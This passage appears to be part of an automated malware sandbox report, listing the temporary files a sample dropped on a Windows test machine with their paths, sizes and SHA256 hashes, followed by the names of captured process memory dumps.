                • SHA256 cbeed896af9050d495c52739245363ad6fef0a6aab3c3e73135af4e65fde2d09
                • MD5 SHA1 SHA512 SSDEEP TLSH

                RES80CF.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES80CF.tmp
                • Size 1KB
                • SHA256 b938a76a9934ccb1a381b3098c0bc24d0351302a3a903558a40f36ad36e448f2
                • MD5 SHA1 SHA512 TLSH

                RES8497.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES8497.tmp
                • Size 1KB
                • SHA256 246aaa0a4208f787ee9551094664102c0421b8800d25d339448c1b4db7c7b1e5
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_idzxlnz1.ubl.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_idzxlnz1.ubl.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                4df7b5ca51364300aa920e1f12a10264.db

                • Path C:\Users\Admin\AppData\Local\Temp\c376-95cl-adc1-7451\.temp\4df7b5ca51364300aa920e1f12a10264.db
                • Size 40KB
                • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                • MD5 SHA1 SHA512 SSDEEP TLSH

                .dfc_488df484.tmp

                • Path \??\c:\Users\Admin\AppData\Local\Temp\.dfc_488df484.tmp
                • Size 5KB
                • SHA256 ee9b5b8c049eeaca0772d78791e4cbff4049d0390caf07a77ee27070df096f3a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                .dfc_b5311fa7.tmp

                • Path \??\c:\Users\Admin\AppData\Local\Temp\.dfc_b5311fa7.tmp
                • Size 3KB
                • SHA256 b2039360f11e07eea9c58b242176fb079d2d8612c468ff8c5e126312cd64965a
                • MD5 SHA1 SHA512 TLSH

                CSC4AE65BC6146E4A45847514E73BB27723.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC4AE65BC6146E4A45847514E73BB27723.TMP
                • Size 1KB
                • SHA256 db6fa93bbde1ab3b47e482ebd68333cde4d6592b98578a4d18b7001d222be225
                • MD5 SHA1 SHA512 TLSH

                CSCA213E5D964BE4C9A8F2CC835675A9CCA.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\CSCA213E5D964BE4C9A8F2CC835675A9CCA.TMP
                • Size 1KB
                • SHA256 910a8532f44870bb359df78e90db2ddce7df36c9e66edece74d8ff56aa733c40
                • MD5 SHA1 SHA512 TLSH

                memory/1696-23-0x000002005B240000-0x000002005B38E000-memory.dmp

                memory/3088-13-0x000002871DF10000-0x000002871DF2E000-memory.dmp

                memory/3088-1-0x000002871E000000-0x000002871E010000-memory.dmp

                memory/3088-0-0x000002871E000000-0x000002871E010000-memory.dmp

                memory/3088-7-0x000002871E310000-0x000002871E332000-memory.dmp

                memory/3088-11-0x000002871E000000-0x000002871E010000-memory.dmp

                memory/3088-30-0x0000028738A40000-0x0000028738B8E000-memory.dmp

                memory/3088-10-0x000002871E000000-0x000002871E010000-memory.dmp

                memory/3088-24-0x0000028738A40000-0x0000028738B8E000-memory.dmp

                memory/3088-12-0x0000028738A40000-0x0000028738B8E000-memory.dmp

                memory/3280-95-0x0000000000490000-0x0000000000496000-memory.dmp

                memory/4044-31-0x0000000006070000-0x0000000006614000-memory.dmp

                memory/4044-25-0x00000000000A0000-0x0000000000140000-memory.dmp

                memory/4044-32-0x0000000007010000-0x0000000007076000-memory.dmp

                memory/4044-53-0x0000000007ED0000-0x00000000083FC000-memory.dmp

                memory/4044-52-0x00000000077D0000-0x0000000007992000-memory.dmp

                memory/4044-51-0x00000000075B0000-0x0000000007600000-memory.dmp

                memory/4492-65-0x0000000000290000-0x0000000000296000-memory.dmp